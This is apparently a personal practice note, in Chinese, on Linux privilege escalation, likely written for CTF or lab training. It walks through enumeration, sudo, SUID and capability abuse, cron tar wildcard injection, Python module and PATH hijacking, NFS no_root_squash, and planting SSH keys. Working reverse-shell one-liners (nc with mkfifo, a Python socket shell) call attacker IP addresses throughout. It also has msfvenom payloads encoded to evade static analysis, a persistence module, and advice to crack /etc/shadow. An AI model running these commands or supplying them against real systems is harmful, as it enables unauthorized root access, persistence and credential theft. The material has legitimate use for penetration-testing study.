# 關於Liunx的權限提升相關內容 >以下內容為本人練習筆記,若有錯誤歡迎留言討論~~ **參考連結** * https://gtfobins.github.io/ * https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * https://www.revshells.com/ 網站 讚的,拿來 exploit ## 使用完整終端 使用以下指令可獲得完整終端 ``` python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm 按ctrl+z 停止任務並放置後台 stty raw -echo; fg ``` 在meterpreter環境中,可能無法獲得完整TTY (終端),但可執行反向shell來建立完整TTY 先執行 ``` shell ``` 來建立反向shell,記得在攻擊機先 ``` nc -lvnp 6668 ``` 再輸入 ``` nc -c sh your_IP 6668 #此指令在舊版NC才可使用 或是以下指令 (全部一起複製貼上) rm /tmp/f mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.175.55 6668 > /tmp/f ``` ## 權限提升前的系統信息收集: 在成功存取系統後,首要步驟是進行信息收集,以確認系統環境與可能的攻擊向量 > **2>/dev/null 將錯誤輸出丟棄** 使用指令: * hostnamectl : 查看系統的主機名稱和作業系統的基本信息 * uname -a : 顯示系統的內核版本、主機名稱 * cat : /proc/version : 查看作業系統和內核的版本信息 * env : 查看環境變數 * sudo -l : 列出當前用戶可執行的 sudo 命令 * /etc/passwd : (grep | home 可以篩選可能是user的帳號) * /etc/shadow : 若可以訪問/etc/shadow 記得拿去暴力破解看看 * history : 查看當前用戶的歷史命令 * find / -name flag1.txt * find / -perm -o=w -type d 2>/dev/null:尋找全域可寫資料夾 * find / -perm -o=x -type d 2>/dev/null :尋找全域可執行資料夾 * find / -type f -perm -111 2>/dev/null ## 查看ID內容: 輸入 ```id``` 查看,若有出現相關群組,可找找能否利用,例如以下 ``` $ id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),27(sudo) ``` 同時查看一下/etc/passwd 看有哪些帳號 ``` cat /etc/passwd ``` 找尋相關 group 可使用的檔案 使用-not -path 參數可過濾掉不要的路徑 ``` find / -type f -not -path "/proc/*" -group {group_name} 2>/dev/null ``` * adm 群組表示允許成員讀取系統日誌(log files),但 不能寫入或修改 可輸入 ``` cat /var/log/auth* | grep -ai pass #查看可能含有密碼的log ``` * 有時會出現binary file matches,你可以加上 -a 或 --binary-files=text,讓 grep 視所有輸入為文字 * sudo 群組表示允許執行 sudo 命令,獲取 root 權限 * 若有看到其他群組也可以研究看看 * ```/etc/pam.d/su``` 是 控制誰能用 su 切換使用者以及如何驗證的設定檔。 可在此查看是否能直接使用別的帳號 不同 Linux 發行版可能內容稍有不同,但核心都是用 PAM 模組來檢查身份、密碼與群組限制。 ## Sudo : 1. sudo -l 查看有哪些指令是我們能使用root權限執行的,找到有權限的指令後,可到[這裡](<https://gtfobins.github.io>)查看有無相關方法能使用 2. 可查看 /etc/sudoers 查看相關帳號權限,或是利用一些特殊方法把權限寫入該檔案中 3. ```cat /etc/pam.d/su``` 可查看帳號的相關 su 設定,可能有一些可利用的地方 4. 可使用 ``` sudo -u {username} ```來暫時使用其他人的名義執行指令 5. 當 !root時,可試試看`sudo -u#-1 /bin/bash` ; sudo -V 可看版本 (僅適用於某些舊系統) ## Suid : ``` find / -perm -u=s -type f 2>/dev/null ``` 搜尋特定用戶有權限的檔案 使用-not -path 參數可過濾掉不要的路徑,例如```-not -path "/proc/*"``` **米字號記得加** ``` find / -type f -user {username} 2>/dev/null ``` 1. find / -type f -perm -04000 -ls 2>/dev/null 查找有Suid權限的指令 2. 思考有哪些是能夠來使用的,若能使用的話就拿來提權或是取得更多資料 (like /etc/shadow) 3. 到[這個網站](<https://gtfobins.github.io>)看有無相關方法能使用 4. 若可以訪問/etc/shadow 記得拿去暴力破解看看 5. 不一定只有網站上的方法能用,一些其他的方法也有機會透過路徑修改來提權 ## Capabilities : 1. ```getcap -r / 2>/dev/null``` ,查看有能力的指令,找到後一樣網站找有無可使用的方法 2. getcap(來自 libcap2-bin 套件)用來 顯示檔案的 Linux capabilities ; Linux capabilities 是一種 細化 root 權限 的機制,允許非 root 使用者執行某些高權限操作 3. 到[這個網站](<https://gtfobins.github.io>)看有無相關方法能使用 ## Pspy64 使用Pspy64工具來查看執行中的進程,此工具不用root權限也可使用 先在本機下載,在傳給目標機 記得更改權限才能使用 ``` wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 chmod 777 pspy64 ``` ## crontab : 1. 因為我們沒有權限能修改crontab中的內容,但有可能可以查看/etc/crontab的內容,若有發現定期在執行的腳本的話,就可以拿來使用 (連接反向shell 等等) 2. **可輸入 ```ps aux | grep {filename}```查看該檔案有無運行紀錄,藉此來查看該檔案是否於其他位置也有自動化排程** ``` ps aux | grep {filename} cat /etc/crontab ``` 使用反向shell來連接,(前提是有該任務執行內容、檔案的寫入權限) ``` echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip> 1234 >/tmp/f" > shell.sh touch "/var/www/html/--checkpoint-action=exec=sh shell.sh" touch "/var/www/html/--checkpoint=1" ``` ## SSH 傳送公鑰登入 若使用者可利用一些方法修改 .ssh/authorized_keys,則可加入惡意公鑰,透過 SSH 連線以更高權限登入,進行權限提升。 .authorized_keys 是一個在 SSH 伺服器端使用的檔案,通常位於用戶的主目錄下的 .ssh 資料夾中,將公鑰存入後,可使用私鑰登入 例如```/root/.ssh/authorized_keys``` 在攻擊機生成公私鑰 ``` ssh-keygen -f key_name -t ed25519 ``` -f 參數指定生成的金鑰文件的檔名 -t 參數指定金鑰的類型 再將公鑰傳送至目標機器的 ```authorized_keys```檔案中,之後在攻擊機中帶私鑰登入就可以了 ``` ssh -i id_ed25519 root@target_ip ``` 若有目標機器的私鑰,也可直接將其複製到本機使用 > 金鑰權限不能開太大,否則無法使用,開chmod 600即可 ## Python 程式碼修改 > python執行檔案時,該檔案無須(X)執行權限,有(R)read權限即可執行 一般 import 套件的話,都是從系統檔案上的 .py文件去引用的 <span style="font-size: 18px;color:red;">**需先至官方文檔查看該套件的原始檔名,再至同一目錄底下創造相同檔名進行修改**</span> #### **Python 會先找當前目錄,再找環境變數裡的路徑,最後才找內建模組。** 所以可透過新增相同檔名的 .py檔案去替代原始的檔案來造成權限提升的效果 * 若有sudo可執行的python檔案,可更改內容為: ``` import pty pty.spawn("/bin/bash") ``` #### python反向shell 若要在python程式碼中插入反向shell的話,因python不是指令介面,需用以下程式碼寫入 ``` import socket,os,pty;s=socket.socket();s.connect(("10.8.65.182",6661));[os.dup2(s.fileno(),fd) for fd in(0,1,2)];pty.spawn("/bin/bash") ``` #### 腳本rev ``` #!/bin/bash rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 192.168.175.55 6669 >/tmp/g ``` #### SETENV 若 ```sudo -l``` 中有出現 SETENV 的話,則可以在執行該指令時套用環境變數 使用上面方法,修改 import 的模組位置,再套用路徑執行指令 ``` sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py ``` > PATH 是給 Shell 找「執行檔」用的 PYTHONPATH 是給 Python 找「import module」用的 ## 變數注入 若檔案權限為SetUID / SetGID,且看到可執行的程式中有使用一些特定參數,例如 "date"、"ls"等等的話,可利用以下內容來獲得提權 讓該程式在執行時,同時載入注入內容 ``` echo "/bin/sh" > date #(在同一資料夾中) chmod +x date export PATH=.:$PATH ./{filename} ``` 可使用以下內容,讓變數執行命令 ``` List=$(whoami) echo $List ``` ## NFS: NFS(網路檔案共用)允許伺服器與客戶端共享目錄,其配置儲存在 `/etc/exports` 檔案中,可用來查看共享目錄的設定。權限依系統配置而定,部分情況下可能允許非特權用戶讀取。 先至該處查看有無檔案,若有檔案的話檢查是否有root權限 >在預設情況下,NFS 會將來自 root 使用者的請求轉換為 nfsnobody,並禁止以 root 權限操作任何檔案。然而,若共享目錄設定了 no_root_squash 選項,則 root 使用者在該共用目錄上將不會被轉換為 nfsnobody,這意味著 root 權限將不受限制。此時,若目標系統中存在一個設置了 SUID 位元的可執行檔,且該檔案的擁有者為 root,那麼攻擊者便可透過執行此檔案來以 root 權限進行操作,從而取得系統控制權。 可以 showmount -e (ip) 查看該台機器有無共享資料夾,連接該共享資料夾後 再使用下列腳本編譯使用 ``` int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; } ``` 安裝完成後記得給權限 chmod (u+s) ## 持久性設置 需先取得目標機器反向shell,可在目標機器開機時自動啟動反向shell ``` use exploit/windows/local/persistence ``` --------------------------- ## 使用 metasploit 接收反向 shell 當 反向shell 成功執行後,可使用 metasploit 的參數來接收反向shell 先使用 msfvenom 來製作反向shell -a 是架構 ```--enocder x86/shikata_ga_nai ``` 是編碼器,可繞過靜態分析 ``` msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe ``` ``` msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell-name.elf ``` ``` use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp #根據目標系統更改 ``` ## Linpeas 可以使用提權腳本來檢查 https://blog.csdn.net/Themanager112/article/details/135434171 * 權限提升腳本及SCP複製 ``` wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh ```  可用 ```python3 -m http.sever``` 或 scp 複製到目標機器中 從本地端複製到遠端 `scp /path/file1 myuser@192.168.0.1:/path/file2` 從遠端複製到本地端 `scp myuser@192.168.0.1:/path/file2 /path/file1` ## Ruby 若在ruby環境中可輸入以下指令來獲得shell ``` system("/bin/bash") exec "/bin/sh" ``` ## tar (Capabilities) ``` tar cvf roottxt.tar /root/root.txt tar -xvf roottxt.tar cd root cat root.txt ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up